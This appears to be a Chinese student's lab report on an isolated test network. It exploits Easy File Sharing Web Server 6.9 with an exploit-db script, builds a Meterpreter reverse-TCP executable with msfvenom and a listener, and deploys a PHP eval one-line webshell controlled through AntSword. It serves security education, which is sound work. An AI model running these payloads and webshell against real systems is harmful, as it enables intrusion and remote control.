一、实验目的

本次实验主要完成以下三个任务:

  1. 利用 Easy File Sharing Web Server 的已知漏洞,尝试远程攻击;

  2. 使用 Kali Linux 中的 msfvenom 工具生成木马程序,并通过 Metasploit 实现远程控制;

  3. 在目标网站上传“一句话木马”,用 蚁剑 连接并控制服务器。


二、实验环境

角色 系统 IP 地址
攻击机 Kali Linux 192.168.177.132
靶机 Windows 11(安装 Easy File Sharing Web Server) 192.168.177.128

使用工具:nmapsearchsploitmsfvenommsfconsole、蚁剑、VirusTotal


三、实验过程与结果

3.1 漏洞扫描与确认

首先,我用 nmap 扫描靶机,看看开了哪些服务:

nmap -sV 192.168.177.128

结果显示 80 端口运行的是 Easy File Sharing Web Server,版本为v6.9

接着,用 searchsploit 查找该软件是否有公开漏洞:

searchsploit "Easy File Sharing Web Server"

找到了一个USERID相关的远程缓冲区溢出(Exploit ID: 37951(对应路径windows/remote/37951.py),说明该版本存在安全问题。

然后利用python脚本实施攻击

cat /usr/share/exploitdb/exploits/windows/remote/37951.py

根据对应路径,查看攻击脚本可知需要修改hostport

这边使用vim改一下ip,保存

运行

 python2 /usr/share/exploitdb/exploits/windows/remote/37951.py


3.2 生成木马并远程控制(Meterpreter)

由于直接利用溢出漏洞较复杂,实验改为使用 反向连接木马 方式。

  1. 在 Kali 中生成一个 Windows 可执行木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5000 -f exe -o payload.exe

说明:这个木马会在运行后主动连接我的 Kali 主机(192.168.177.132:5000)。

  1. 启动 Metasploit 监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.177.132
set LPORT 5000
run
  1. 假设通过钓鱼等方式让靶机用户运行了 payload.exe,Kali 成功收到连接!

成功示例

  1. 在 Meterpreter 会话中执行命令,如:

sysinfo        # 查看系统信息
screenshot     # 截取靶机屏幕
shell          # 进入 CMD 命令行

graph LR A[靶机运行 payload.exe] -->|自动连接| B[Kali 192.168.177.132:5000] B --> C[Metasploit 监听器] C --> D[获得远程控制权限]

这种“反向连接”方式能绕过防火墙,因为是靶机主动向外连,而不是黑客从外往里打。


3.3 部署 Webshell 并用蚁剑控制

如果目标是一个 Web 服务器,还可以用更轻量的方式——Webshell

这里在模拟环境实现,首先在 kali linux 中运行 service apache2 restart

Apache 是一款开源跨平台的 HTTP Web 服务器软件,用于提供网页、文件的网络访问服务,是全球主流的 Web 服务器之一。

  1. 创建一个 PHP 一句话木马文件 shell.php,内容如下:

<?php
echo "succe"
@eval($_POST['password']); 
?>
  1. 浏览器访问测试:

http://192.168.177.132/shell.php

页面返回了succe信息,说明命令成功执行!

3. 打开 蚁剑,添加 Shell:

  • 地址:http://192.168.177.132/shell.php

  • 密码:password(对应代码中的参数名)

连接成功后,就能像操作本地文件一样管理服务器了。


四、实验总结

通过这次实验,可以理解:

  • 黑客常用的两种远程控制方式:正向连接(需开放端口)和反向连接(更隐蔽);

  • Meterpreter 功能强大,但容易被杀毒软件识别;

  • Webshell 适合已有 Web 入口的场景,部署简单、控制灵活;

  • 安全防护很重要:及时打补丁、限制危险函数、监控异常连接。

反思:虽然实验中我们“成功入侵”,但目的是学习防御。作为未来的信息安全从业者,更要懂得如何保护系统,而不是滥用技术。